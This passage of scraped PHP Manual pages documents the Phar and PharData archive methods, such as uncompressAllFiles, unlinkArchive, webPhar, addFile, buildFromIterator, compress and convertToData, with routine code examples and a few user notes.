method has been removed from the phar extension as of version 2.0.0.  Alternative
implementations are available using Phar::compress(),
Phar::decompress(), Phar::compressFiles() and
Phar::decompressFiles().

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

This method decompresses all files in the Phar archive. If any files are already compressed using gzip compression, the zlib extension must be enabled in order to decompress the files, and any files compressed using bzip2 compression require the bzip2 extension to decompress the files. As with all functionality that modifies the contents of a phar, the phar.readonly INI variable must be off in order to succeed.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws BadMethodCallException if the phar.readonly INI variable is on, the bzip2 extension is not enabled and any files are compressed using bzip2 compression, or if any files are compressed using gzip compression and the zlib extension is not enabled.

Examples

Example #1 A Phar::uncompressAllFiles() example

<?php
try {
    $p = new Phar('/path/to/my.phar', 0, 'my.phar');
    $p['myfile.txt'] = 'hi';
    $p['myfile2.txt'] = 'hi';
    $p->compressAllFilesGZ();
    foreach ($p as $file) {
        var_dump($file->getFileName());
        var_dump($file->isCompressed());
        var_dump($file->isCompressedBZIP2());
        var_dump($file->isCompressedGZ());
    }
    $p->uncompressAllFiles();
    foreach ($p as $file) {
        var_dump($file->getFileName());
        var_dump($file->isCompressed());
        var_dump($file->isCompressedBZIP2());
        var_dump($file->isCompressedGZ());
    }
} catch (Exception $e) {
    echo 'Write operations failed on my.phar: ', $e;
}
?>

The above example will output:

string(10) "myfile.txt"
bool(true)
bool(false)
bool(true)
string(11) "myfile2.txt"
bool(true)
bool(false)
bool(true)
string(10) "myfile.txt"
bool(false)
bool(false)
bool(false)
string(11) "myfile2.txt"
bool(false)
bool(false)
bool(false)

See Also

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressedBZIP2() - Returns whether the entry is compressed using bzip2
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::isCompressedGZ() - Returns whether the entry is compressed using gz
  • PharFileInfo::setCompressedBZIP2() - Compresses the current Phar entry within the phar using Bzip2 compression
  • PharFileInfo::setUncompressed() - Uncompresses the current Phar entry within the phar, if it is compressed
  • PharFileInfo::setCompressedGZ() - Compresses the current Phar entry within the phar using gz compression
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::compressAllFilesBZIP2() - Compresses all files in the current Phar archive using Bzip2 compression
  • Phar::compressAllFilesGZ() - Compresses all files in the current Phar archive using Gzip compression
  • Phar::getSupportedCompression() - Return array of supported compression algorithms

User Contributed Notes

There are no user contributed notes for this page.


Completely remove a phar archive from disk and from memory

  • « Phar::uncompressAllFiles
  • Phar::webPhar »
  • PHP Manual
  • Phar
  • Completely remove a phar archive from disk and from memory

Phar::unlinkArchive

(PHP >= 5.3.0, PECL phar >= 2.0.0)

Phar::unlinkArchive — Completely remove a phar archive from disk and from memory

Description

final public static bool Phar::unlinkArchive ( string $archive )

Removes a phar archive for disk and memory.

Parameters

archive

The path on disk to the phar archive.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

PharException is thrown if there are any open file pointers to the phar archive, or any existing Phar, PharData, or PharFileInfo objects referring to the phar archive.

Examples

Example #1 A Phar::unlinkArchive() example

<?php
// simple usage
Phar::unlinkArchive('/path/to/my.phar');

// more common example:
$p = new Phar('my.phar');
$fp = fopen('phar://my.phar/file.txt', 'r');
// this creates 'my.phar.gz'
$gp = $p->compress(Phar::GZ);
// remove all references to the archive
unset($p);
fclose($fp);
// now remove all traces of the archive
Phar::unlinkArchive('my.phar');
?>

See Also

  • Phar::delete() - Delete a file within a phar archive
  • Phar::offsetUnset() - remove a file from a phar

User Contributed Notes

There are no user contributed notes for this page.


mapPhar for web-based phars. front controller for web applications

  • « Phar::unlinkArchive
  • PharData »
  • PHP Manual
  • Phar
  • mapPhar for web-based phars. front controller for web applications

Phar::webPhar

(PHP >= 5.3.0, PECL phar >= 2.0.0)

Phar::webPhar — mapPhar for web-based phars. front controller for web applications

Description

final public static void Phar::webPhar ([ string $alias [, string $index = "index.php" [, string $f404 [, array $mimetypes [, callable $rewrites ]]]]] )

Phar::mapPhar() for web-based phars. This method parses $_SERVER['REQUEST_URI'] and routes a request from a web browser to an internal file within the phar archive. In essence, it simulates a web server, routing requests to the correct file, echoing the correct headers and parsing PHP files as needed. This powerful method is part of what makes it easy to convert an existing PHP application into a phar archive. Combined with Phar::mungServer() and Phar::interceptFileFuncs(), any web application can be used unmodified from a phar archive.

Phar::webPhar() should only be called from the stub of a phar archive (see here for more information on what a stub is).

Parameters

alias

The alias that can be used in phar:// URLs to refer to this archive, rather than its full path.

index

The location within the phar of the directory index.

f404

The location of the script to run when a file is not found. This script should output the proper HTTP 404 headers.

mimetypes

An array mapping additional file extensions to MIME type. If the default mapping is sufficient, pass an empty array. By default, these extensions are mapped to these MIME types:

<?php
$mimes = array(
    'phps' => Phar::PHPS, // pass to highlight_file()
    'c' => 'text/plain',
    'cc' => 'text/plain',
    'cpp' => 'text/plain',
    'c++' => 'text/plain',
    'dtd' => 'text/plain',
    'h' => 'text/plain',
    'log' => 'text/plain',
    'rng' => 'text/plain',
    'txt' => 'text/plain',
    'xsd' => 'text/plain',
    'php' => Phar::PHP, // parse as PHP
    'inc' => Phar::PHP, // parse as PHP
    'avi' => 'video/avi',
    'bmp' => 'image/bmp',
    'css' => 'text/css',
    'gif' => 'image/gif',
    'htm' => 'text/html',
    'html' => 'text/html',
    'htmls' => 'text/html',
    'ico' => 'image/x-ico',
    'jpe' => 'image/jpeg',
    'jpg' => 'image/jpeg',
    'jpeg' => 'image/jpeg',
    'js' => 'application/x-javascript',
    'midi' => 'audio/midi',
    'mid' => 'audio/midi',
    'mod' => 'audio/mod',
    'mov' => 'movie/quicktime',
    'mp3' => 'audio/mp3',
    'mpg' => 'video/mpeg',
    'mpeg' => 'video/mpeg',
    'pdf' => 'application/pdf',
    'png' => 'image/png',
    'swf' => 'application/shockwave-flash',
    'tif' => 'image/tiff',
    'tiff' => 'image/tiff',
    'wav' => 'audio/wav',
    'xbm' => 'image/xbm',
    'xml' => 'text/xml',
);
?>

rewrites

The rewrites function is passed a string as its only parameter and must return a string or FALSE.

If you are using fast-cgi or cgi then the parameter passed to the function is the value of the $_SERVER['PATH_INFO'] variable. Otherwise, the parameter passed to the function is the value of the $_SERVER['REQUEST_URI'] variable.

If a string is returned it is used as the internal file path. If FALSE is returned then webPhar() will send a HTTP 403 Denied Code.

Return Values

No value is returned.

Errors/Exceptions

Throws PharException when unable to open the internal file to output, or if called from a non-stub. If an invalid array value is passed into mimetypes or an invalid callback is passed into rewrites, then UnexpectedValueException is thrown.

Examples

Example #1 A Phar::webPhar() example

With the example below, the created phar will display Hello World if one browses to /myphar.phar/index.php or to /myphar.phar, and will display the source of index.phps if one browses to /myphar.phar/index.phps.

<?php
// creating the phar archive:
try {
    $phar = new Phar('myphar.phar');
    $phar['index.php'] = '<?php echo "Hello World"; ?>';
    $phar['index.phps'] = '<?php echo "Hello World"; ?>';
    $phar->setStub('<?php
Phar::webPhar();
__HALT_COMPILER(); ?>');
} catch (Exception $e) {
    // handle error here
}
?>

See Also

  • Phar::mungServer() - Defines a list of up to 4 $_SERVER variables that should be modified for execution
  • Phar::interceptFileFuncs() - instructs phar to intercept fopen, file_get_contents, opendir, and all of the stat-related functions

User Contributed Notes

James 07-Oct-2012 04:55
It seems that calling Phar::webPhar() from inside a function is a bad idea.  Doing so will cause global variables in included files to not be global.  For instance, do NOT try this:

<?php
$phar = new Phar('test.phar.php');
$phar['test.php'] = '<?php
$FOO = "globals work";
function test() {
  global $FOO;
  echo "test: $FOO\n";
}
test();
?>';
$phar->setStub('<?php
function _bootstrap() {
Phar::webPhar();
}
_bootstrap();
__HALT_COMPILER(); ?>');
?>

The output will be "test:", not "test: globals work".


The PharData class

(PHP >= 5.3.0, PECL phar >= 2.0.0)

Introduction

The PharData class provides a high-level interface to accessing and creating non-executable tar and zip archives. Because these archives do not contain a stub and cannot be executed by the phar extension, it is possible to create and manipulate regular zip and tar files using the PharData class even if phar.readonly php.ini setting is 1.

Class synopsis

PharData extends Phar {
/* Methods */
bool addEmptyDir ( string $dirname )
public void Phar::addFile ( string $file [, string $localname ] )
bool addFromString ( string $localname , string $contents )
public array Phar::buildFromDirectory ( string $base_dir [, string $regex ] )
array buildFromIterator ( Iterator $iter [, string $base_directory ] )
object compress ( int $compression [, string $extension ] )
bool compressFiles ( int $compression )
__construct ( string $fname [, int $flags [, string $alias [, int $format = Phar::TAR ]]] )
PharData convertToData ([ int $format [, int $compression [, string $extension ]]] )
Phar convertToExecutable ([ int $format [, int $compression [, string $extension ]]] )
bool copy ( string $oldfile , string $newfile )
object decompress ([ string $extension ] )
bool decompressFiles ( void )
bool delMetadata ( void )
bool delete ( string $entry )
bool extractTo ( string $pathto [, string|array $files [, bool $overwrite = false ]] )
bool isWritable ( void )
void offsetSet ( string $offset , string $value )
bool offsetUnset ( string $offset )
bool setAlias ( string $alias )
bool setDefaultStub ([ string $index [, string $webindex ]] )
public void Phar::setMetadata ( mixed $metadata )
public void Phar::setSignatureAlgorithm ( int $sigtype )
bool setStub ( string $stub [, int $len = -1 ] )
/* Inherited methods */
public void Phar::addEmptyDir ( string $dirname )
public void Phar::addFile ( string $file [, string $localname ] )
public void Phar::addFromString ( string $localname , string $contents )
final public static string Phar::apiVersion ( void )
public array Phar::buildFromDirectory ( string $base_dir [, string $regex ] )
public array Phar::buildFromIterator ( Iterator $iter [, string $base_directory ] )
final public static bool Phar::canCompress ([ int $type = 0 ] )
final public static bool Phar::canWrite ( void )
public object Phar::compress ( int $compression [, string $extension ] )
public bool Phar::compressAllFilesBZIP2 ( void )
public bool Phar::compressAllFilesGZ ( void )
public void Phar::compressFiles ( int $compression )
public Phar::__construct ( string $fname [, int $flags [, string $alias ]] )
public PharData Phar::convertToData ([ int $format = 9021976 [, int $compression = 9021976 [, string $extension ]]] )
public Phar Phar::convertToExecutable ([ int $format = 9021976 [, int $compression = 9021976 [, string $extension ]]] )
public bool Phar::copy ( string $oldfile , string $newfile )
public int Phar::count ( void )
final public static string Phar::createDefaultStub ([ string $indexfile [, string $webindexfile ]] )
public object Phar::decompress ([ string $extension ] )
public bool Phar::decompressFiles ( void )
public bool Phar::delMetadata ( void )
public bool Phar::delete ( string $entry )
public bool Phar::extractTo ( string $pathto [, string|array $files [, bool $overwrite = false ]] )
public mixed Phar::getMetadata ( void )
public bool Phar::getModified ( void )
public array Phar::getSignature ( void )
public string Phar::getStub ( void )
final public static array Phar::getSupportedCompression ( void )
final public static array Phar::getSupportedSignatures ( void )
public string Phar::getVersion ( void )
public bool Phar::hasMetadata ( void )
final public static void Phar::interceptFileFuncs ( void )
public bool Phar::isBuffering ( void )
public mixed Phar::isCompressed ( void )
public bool Phar::isFileFormat ( int $format )
final public static bool Phar::isValidPharFilename ( string $filename [, bool $executable = true ] )
public bool Phar::isWritable ( void )
final public static bool Phar::loadPhar ( string $filename [, string $alias ] )
final public static bool Phar::mapPhar ([ string $alias [, int $dataoffset = 0 ]] )
final public static void Phar::mount ( string $pharpath , string $externalpath )
final public static void Phar::mungServer ( array $munglist )
public bool Phar::offsetExists ( string $offset )
public int Phar::offsetGet ( string $offset )
public void Phar::offsetSet ( string $offset , string $value )
public bool Phar::offsetUnset ( string $offset )
final public static string Phar::running ([ bool $retphar = true ] )
public bool Phar::setAlias ( string $alias )
public bool Phar::setDefaultStub ([ string $index [, string $webindex ]] )
public void Phar::setMetadata ( mixed $metadata )
public void Phar::setSignatureAlgorithm ( int $sigtype [, string $privatekey ] )
public bool Phar::setStub ( string $stub [, int $len = -1 ] )
public void Phar::startBuffering ( void )
public void Phar::stopBuffering ( void )
public bool Phar::uncompressAllFiles ( void )
final public static bool Phar::unlinkArchive ( string $archive )
final public static void Phar::webPhar ([ string $alias [, string $index = "index.php" [, string $f404 [, array $mimetypes [, callable $rewrites ]]]]] )
}

Table of Contents

  • PharData::addEmptyDir — Add an empty directory to the tar/zip archive
  • PharData::addFile — Add a file from the filesystem to the tar/zip archive
  • PharData::addFromString — Add a file from the filesystem to the tar/zip archive
  • PharData::buildFromDirectory — Construct a tar/zip archive from the files within a directory.
  • PharData::buildFromIterator — Construct a tar or zip archive from an iterator.
  • PharData::compress — Compresses the entire tar/zip archive using Gzip or Bzip2 compression
  • PharData::compressFiles — Compresses all files in the current tar/zip archive
  • PharData::__construct — Construct a non-executable tar or zip archive object
  • PharData::convertToData — Convert a phar archive to a non-executable tar or zip file
  • PharData::convertToExecutable — Convert a non-executable tar/zip archive to an executable phar archive
  • PharData::copy — Copy a file internal to the phar archive to another new file within the phar
  • PharData::decompress — Decompresses the entire Phar archive
  • PharData::decompressFiles — Decompresses all files in the current zip archive
  • PharData::delMetadata — Deletes the global metadata of a zip archive
  • PharData::delete — Delete a file within a tar/zip archive
  • PharData::extractTo — Extract the contents of a tar/zip archive to a directory
  • PharData::isWritable — Returns true if the tar/zip archive can be modified
  • PharData::offsetSet — set the contents of a file within the tar/zip to those of an external file or string
  • PharData::offsetUnset — remove a file from a tar/zip archive
  • PharData::setAlias — dummy function (Phar::setAlias is not valid for PharData)
  • PharData::setDefaultStub — dummy function (Phar::setDefaultStub is not valid for PharData)
  • Phar::setMetadata — Sets phar archive meta-data
  • Phar::setSignatureAlgorithm — set the signature algorithm for a phar and apply it. The
  • PharData::setStub — dummy function (Phar::setStub is not valid for PharData)

User Contributed Notes

There are no user contributed notes for this page.


Add an empty directory to the tar/zip archive

  • « PharData
  • PharData::addFile »
  • PHP Manual
  • PharData
  • Add an empty directory to the tar/zip archive

PharData::addEmptyDir

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::addEmptyDir — Add an empty directory to the tar/zip archive

Description

bool PharData::addEmptyDir ( string $dirname )

With this method, an empty directory is created with path dirname. This method is similar to ZipArchive::addEmptyDir().

Parameters

dirname

The name of the empty directory to create in the phar archive

Return Values

no return value, exception is thrown on failure.

Examples

Example #1 A PharData::addEmptyDir() example

<?php
try {
    $a = new PharData('/path/to/my.tar');

    $a->addEmptyDir('/full/path/to/file');
    // demonstrates how this file is stored
    $b = $a['full/path/to/file']->isDir();
} catch (Exception $e) {
    // handle errors here
}
?>

See Also

  • Phar::addEmptyDir() - Add an empty directory to the phar archive
  • PharData::addFile() - Add a file from the filesystem to the tar/zip archive
  • PharData::addFromString() - Add a file from the filesystem to the tar/zip archive

User Contributed Notes

There are no user contributed notes for this page.


Add a file from the filesystem to the tar/zip archive

  • « PharData::addEmptyDir
  • PharData::addFromString »
  • PHP Manual
  • PharData
  • Add a file from the filesystem to the tar/zip archive

PharData::addFile

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::addFile — Add a file from the filesystem to the tar/zip archive

Description

public void Phar::addFile ( string $file [, string $localname ] )

With this method, any file or URL can be added to the tar/zip archive. If the optional second parameter localname is specified, the file will be stored in the archive with that name, otherwise the file parameter is used as the path to store within the archive. URLs must have a localname or an exception is thrown. This method is similar to ZipArchive::addFile().

Parameters

file

Full or relative path to a file on disk to be added to the phar archive.

localname

Path that the file will be stored in the archive.

Return Values

no return value, exception is thrown on failure.

Examples

Example #1 A PharData::addFile() example

<?php
try {
    $a = new PharData('/path/to/my.tar');

    $a->addFile('/full/path/to/file');
    // demonstrates how this file is stored
    $b = $a['full/path/to/file']->getContent();

    $a->addFile('/full/path/to/file', 'my/file.txt');
    $c = $a['my/file.txt']->getContent();

    // demonstrate URL usage
    $a->addFile('http://www.example.com', 'example.html');
} catch (Exception $e) {
    // handle errors here
}
?>

See Also

  • PharData::offsetSet() - set the contents of a file within the tar/zip to those of an external file or string
  • Phar::addFile() - Add a file from the filesystem to the phar archive
  • PharData::addFromString() - Add a file from the filesystem to the tar/zip archive
  • PharData::addEmptyDir() - Add an empty directory to the tar/zip archive

User Contributed Notes

There are no user contributed notes for this page.


Add a file from the filesystem to the tar/zip archive

  • « PharData::addFile
  • PharData::buildFromDirectory »
  • PHP Manual
  • PharData
  • Add a file from the filesystem to the tar/zip archive

PharData::addFromString

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::addFromString — Add a file from the filesystem to the tar/zip archive

Description

bool PharData::addFromString ( string $localname , string $contents )

With this method, any string can be added to the tar/zip archive. The file will be stored in the archive with localname as its path. This method is similar to ZipArchive::addFromString().

Parameters

localname

Path that the file will be stored in the archive.

contents

The file contents to store

Return Values

no return value, exception is thrown on failure.

Examples

Example #1 A PharData::addFromString() example

<?php
try {
    $a = new PharData('/path/to/my.tar');

    $a->addFromString('path/to/file.txt', 'my simple file');
    $b = $a['path/to/file.txt']->getContent();

    // to add contents from a stream handle for large files, use offsetSet()
    $c = fopen('/path/to/hugefile.bin');
    $a['largefile.bin'] = $c;
    fclose($c);
} catch (Exception $e) {
    // handle errors here
}
?>

See Also

  • PharData::offsetSet() - set the contents of a file within the tar/zip to those of an external file or string
  • Phar::addFromString() - Add a file from a string to the phar archive
  • PharData::addFile() - Add a file from the filesystem to the tar/zip archive
  • PharData::addEmptyDir() - Add an empty directory to the tar/zip archive

User Contributed Notes

There are no user contributed notes for this page.


Construct a tar/zip archive from the files within a directory.

  • « PharData::addFromString
  • PharData::buildFromIterator »
  • PHP Manual
  • PharData
  • Construct a tar/zip archive from the files within a directory.

PharData::buildFromDirectory

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::buildFromDirectory — Construct a tar/zip archive from the files within a directory.

Description

public array Phar::buildFromDirectory ( string $base_dir [, string $regex ] )

Populate a tar/zip archive from directory contents. The optional second parameter is a regular expression (pcre) that is used to exclude files. Any filename that matches the regular expression will be included, all others will be excluded. For more fine-grained control, use PharData::buildFromIterator().

Parameters

base_dir

The full or relative path to the directory that contains all files to add to the archive.

regex

An optional pcre regular expression that is used to filter the list of files. Only file paths matching the regular expression will be included in the archive.

Return Values

Phar::buildFromDirectory() returns an associative array mapping internal path of file to the full path of the file on the filesystem.

Errors/Exceptions

This method throws BadMethodCallException when unable to instantiate the internal directory iterators, or a PharException if there were errors saving the phar archive.

Examples

Example #1 A PharData::buildFromDirectory() example

<?php
$phar = new PharData('project.tar');
// add all files in the project
$phar->buildFromDirectory(dirname(__FILE__) . '/project');

$phar2 = new PharData('project2.zip');
// add all files in the project, only include php files
$phar->buildFromDirectory(dirname(__FILE__) . '/project', '/\.php$/');
?>

See Also

  • Phar::buildFromDirectory() - Construct a phar archive from the files within a directory.
  • PharData::buildFromIterator() - Construct a tar or zip archive from an iterator.

User Contributed Notes

There are no user contributed notes for this page.


Construct a tar or zip archive from an iterator.

  • « PharData::buildFromDirectory
  • PharData::compress »
  • PHP Manual
  • PharData
  • Construct a tar or zip archive from an iterator.

PharData::buildFromIterator

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::buildFromIterator — Construct a tar or zip archive from an iterator.

Description

array PharData::buildFromIterator ( Iterator $iter [, string $base_directory ] )

Populate a tar or zip archive from an iterator. Two styles of iterators are supported, iterators that map the filename within the tar/zip to the name of a file on disk, and iterators like DirectoryIterator that return SplFileInfo objects. For iterators that return SplFileInfo objects, the second parameter is required.

Examples

Example #1 A PharData::buildFromIterator() with SplFileInfo

For most tar/zip archives, the archive will reflect an actual directory layout, and the second style is the most useful. For instance, to create a tar/zip archive containing the files in this sample directory layout:

/path/to/project/
                 config/
                        dist.xml
                        debug.xml
                 lib/
                     file1.php
                     file2.php
                 src/
                     processthing.php
                 www/
                     index.php
                 cli/
                     index.php

This code could be used to add these files to the "project.tar" tar archive:

<?php
$phar = new PharData('project.tar');
$phar->buildFromIterator(
    new RecursiveIteratorIterator(
     new RecursiveDirectoryIterator('/path/to/project')),
    '/path/to/project');
?>

The file project.tar can then be used immediately. PharData::buildFromIterator() does not set values such as compression, metadata, and this can be done after creating the tar/zip archive.

As an interesting note, PharData::buildFromIterator() can also be used to copy the contents of an existing phar, tar or zip archive, as the PharData object descends from DirectoryIterator:

<?php
$phar = new PharData('project.tar');
$phar->buildFromIterator(
    new RecursiveIteratorIterator(
     new Phar('/path/to/anotherphar.phar')),
    'phar:///path/to/anotherphar.phar/path/to/project');
$phar->setStub($phar->createDefaultStub('cli/index.php', 'www/index.php'));
?>

Example #2 A PharData::buildFromIterator() with other iterators

The second form of the iterator can be used with any iterator that returns a key => value mapping, such as an ArrayIterator:

<?php
$phar = new PharData('project.tar');
$phar->buildFromIterator(
    new ArrayIterator(
     array(
        'internal/file.php' => dirname(__FILE__) . '/somefile.php',
        'another/file.jpg' => fopen('/path/to/bigfile.jpg', 'rb'),
     )));
?>

Parameters

iter

Any iterator that either associatively maps tar/zip file to location or returns SplFileInfo objects

base_directory

For iterators that return SplFileInfo objects, the portion of each file's full path to remove when adding to the tar/zip archive

Return Values

PharData::buildFromIterator() returns an associative array mapping internal path of file to the full path of the file on the filesystem.

Errors/Exceptions

This method returns UnexpectedValueException when the iterator returns incorrect values, such as an integer key instead of a string, a BadMethodCallException when an SplFileInfo-based iterator is passed without a base_directory parameter, or a PharException if there were errors saving the phar archive.

See Also

  • Phar::buildFromIterator() - Construct a phar archive from an iterator.

User Contributed Notes

cbonnissent 12-Sep-2014 04:41
The code in the first exemple doesn't work properly without the flag  FilesystemIterator::SKIP_DOTS in the RecursiveDirectoryIterator (on a linux filesystem).

So, to build a tar with a phar, I do (with two level of iteration here) :

            $pharTar = new \PharData($contentTar.".tar");
            $firstLevelIterator = new \DirectoryIterator($this->inputPath);
            foreach ($firstLevelIterator as $fileInfo) {
                /* @var \SplFileInfo $fileInfo */
                if (in_array($fileInfo->getFilename(), $allowedDirectory)) {
                    $recursiveDirectoryIterator = new \RecursiveDirectoryIterator(
                        $this->inputPath . DIRECTORY_SEPARATOR . $fileInfo->getFilename(), \FilesystemIterator::SKIP_DOTS);
                    $pharTar->buildFromIterator(new \RecursiveIteratorIterator($recursiveDirectoryIterator), $this->inputPath);
                }
            }


Compresses the entire tar/zip archive using Gzip or Bzip2 compression

  • « PharData::buildFromIterator
  • PharData::compressFiles »
  • PHP Manual
  • PharData
  • Compresses the entire tar/zip archive using Gzip or Bzip2 compression

PharData::compress

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::compress — Compresses the entire tar/zip archive using Gzip or Bzip2 compression

Description

object PharData::compress ( int $compression [, string $extension ] )

For tar archives, this method compresses the entire archive using gzip compression or bzip2 compression. The resulting file can be processed with the gunzip command/bunzip command, or accessed directly and transparently with the Phar extension.

For zip archives, this method fails with an exception. The zlib extension must be enabled to compress with gzip compression, the bzip2 extension must be enabled in order to compress with bzip2 compression.

In addition, this method automatically renames the archive, appending .gz, .bz2 or removing the extension if passed Phar::NONE to remove compression. Alternatively, a file extension may be specified with the second parameter.

Parameters

compression

Compression must be one of Phar::GZ, Phar::BZ2 to add compression, or Phar::NONE to remove compression.

extension

By default, the extension is .tar.gz or .tar.bz2 for compressing a tar, and .tar for decompressing.

Return Values

A PharData object is returned.

Errors/Exceptions

Throws BadMethodCallException if the zlib extension is not available, or the bzip2 extension is not enabled.

Examples

Example #1 A PharData::compress() example

<?php
$p = new PharData('/path/to/my.tar');
$p['myfile.txt'] = 'hi';
$p['myfile2.txt'] = 'hi';
$p1 = $p->compress(Phar::GZ); // copies to /path/to/my.phar.gz
$p2 = $p->compress(Phar::BZ2); // copies to /path/to/my.phar.bz2
$p3 = $p2->compress(Phar::NONE); // exception: /path/to/my.phar already exists
?>

See Also

  • Phar::compress() - Compresses the entire Phar archive using Gzip or Bzip2 compression

User Contributed Notes

There are no user contributed notes for this page.


Compresses all files in the current tar/zip archive

  • « PharData::compress
  • PharData::__construct »
  • PHP Manual
  • PharData
  • Compresses all files in the current tar/zip archive

PharData::compressFiles

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::compressFiles — Compresses all files in the current tar/zip archive

Description

bool PharData::compressFiles ( int $compression )

For tar-based archives, this method throws a BadMethodCallException, as compression of individual files within a tar archive is not supported by the file format. Use PharData::compress() to compress an entire tar-based archive.

For Zip-based archives, this method compresses all files in the archive using the specified compression. The zlib or bzip2 extensions must be enabled to take advantage of this feature. In addition, if any files are already compressed using bzip2/zlib compression, the respective extension must be enabled in order to decompress the files prior to re-compressing.

Parameters

compression

Compression must be one of Phar::GZ, Phar::BZ2 to add compression, or Phar::NONE to remove compression.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws BadMethodCallException if the phar.readonly INI variable is on, the zlib extension is not available, or if any files are compressed using bzip2 compression and the bzip2 extension is not enabled.

Examples

Example #1 A PharData::compressFiles() example

<?php
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
$p['myfile.txt'] = 'hi';
$p['myfile2.txt'] = 'hi';
foreach ($p as $file) {
    var_dump($file->getFileName());
    var_dump($file->isCompressed());
    var_dump($file->isCompressed(Phar::BZ2));
    var_dump($file->isCompressed(Phar::GZ));
}
$p->compressFiles(Phar::GZ);
foreach ($p as $file) {
    var_dump($file->getFileName());
    var_dump($file->isCompressed());
    var_dump($file->isCompressed(Phar::BZ2));
    var_dump($file->isCompressed(Phar::GZ));
}
?>

The above example will output:

string(10) "myfile.txt"
bool(false)
bool(false)
bool(false)
string(11) "myfile2.txt"
bool(false)
bool(false)
bool(false)
string(10) "myfile.txt"
int(4096)
bool(false)
bool(true)
string(11) "myfile2.txt"
int(4096)
bool(false)
bool(true)

See Also

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::compress() - Compresses the current Phar entry with either zlib or bzip2 compression
  • PharFileInfo::decompress() - Decompresses the current Phar entry within the phar
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • PharData::decompressFiles() - Decompresses all files in the current zip archive
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • PharData::compress() - Compresses the entire tar/zip archive using Gzip or Bzip2 compression
  • PharData::decompress() - Decompresses the entire Phar archive

User Contributed Notes

There are no user contributed notes for this page.


Construct a non-executable tar or zip archive object

  • « PharData::compressFiles
  • PharData::convertToData »
  • PHP Manual
  • PharData
  • Construct a non-executable tar or zip archive object

PharData::__construct

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::__construct — Construct a non-executable tar or zip archive object

Description

PharData::__construct ( string $fname [, int $flags [, string $alias [, int $format = Phar::TAR ]]] )

Parameters

fname

Path to an existing tar/zip archive or to-be-created archive

flags

Flags to pass to Phar parent class RecursiveDirectoryIterator.

alias

Alias with which this Phar archive should be referred to in calls to stream functionality.

format

One of the file format constants available within the Phar class.

Errors/Exceptions

Throws BadMethodCallException if called twice; UnexpectedValueException if the Phar archive can't be opened.

Examples

Example #1 A PharData::__construct() example

<?php
try {
    $p = new PharData('/path/to/my.tar', Phar::CURRENT_AS_FILEINFO | Phar::KEY_AS_FILENAME);
} catch (UnexpectedValueException $e) {
    die('Could not open my.tar');
} catch (BadMethodCallException $e) {
    echo 'technically, this cannot happen';
}
echo file_get_contents('phar:///path/to/my.tar/example.txt');
?>

User Contributed Notes

There are no user contributed notes for this page.


Convert a phar archive to a non-executable tar or zip file

  • « PharData::__construct
  • PharData::convertToExecutable »
  • PHP Manual
  • PharData
  • Convert a phar archive to a non-executable tar or zip file

PharData::convertToData

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::convertToData — Convert a phar archive to a non-executable tar or zip file

Description

PharData PharData::convertToData ([ int $format [, int $compression [, string $extension ]]] )

This method is used to convert a non-executable tar or zip archive to another non-executable format.

If no changes are specified, this method throws a BadMethodCallException. This method should be used to convert a tar archive to zip format or vice-versa. Although it is possible to simply change the compression of a tar archive using this method, it is better to use the PharData::compress() method for logical consistency.

If successful, the method creates a new archive on disk and returns a PharData object. The old archive is not removed from disk, and should be done manually after the process has finished.

Parameters

format

This should be one of Phar::TAR or Phar::ZIP. If set to NULL, the existing file format will be preserved.

compression

This should be one of Phar::NONE for no whole-archive compression, Phar::GZ for zlib-based compression, and Phar::BZ2 for bzip-based compression.

extension

This parameter is used to override the default file extension for a converted archive. Note that .phar cannot be used anywhere in the filename for a non-executable tar or zip archive.

If converting to a tar-based phar archive, the default extensions are .tar, .tar.gz, and .tar.bz2 depending on specified compression. For zip-based archives, the default extension is .zip.

Return Values

The method returns a PharData object on success and throws an exception on failure.

Errors/Exceptions

This method throws BadMethodCallException when unable to compress, an unknown compression method has been specified, the requested archive is buffering with Phar::startBuffering() and has not concluded with Phar::stopBuffering(), and a PharException if any problems are encountered during the phar creation process.

Examples

Example #1 A PharData::convertToData() example

Using PharData::convertToData():

<?php
try {
    $tarphar = new PharData('myphar.tar');
    // note that myphar.tar is *not* unlinked
    // convert it to the non-executable tar file format
    // creates myphar.zip
    $zip = $tarphar->convertToData(Phar::ZIP);
    // create myphar.tbz
    $tgz = $zip->convertToData(Phar::TAR, Phar::BZ2, '.tbz');
    // creates myphar.phar.tgz
    $phar = $tarphar->convertToData(Phar::PHAR); // throws exception
} catch (Exception $e) {
    // handle the error here
}
?>

See Also

  • Phar::convertToExecutable() - Convert a phar archive to another executable phar archive file format
  • Phar::convertToData() - Convert a phar archive to a non-executable tar or zip file
  • PharData::convertToExecutable() - Convert a non-executable tar/zip archive to an executable phar archive

User Contributed Notes

There are no user contributed notes for this page.


Convert a non-executable tar/zip archive to an executable phar archive

  • « PharData::convertToData
  • PharData::copy »
  • PHP Manual
  • PharData
  • Convert a non-executable tar/zip archive to an executable phar archive

PharData::convertToExecutable

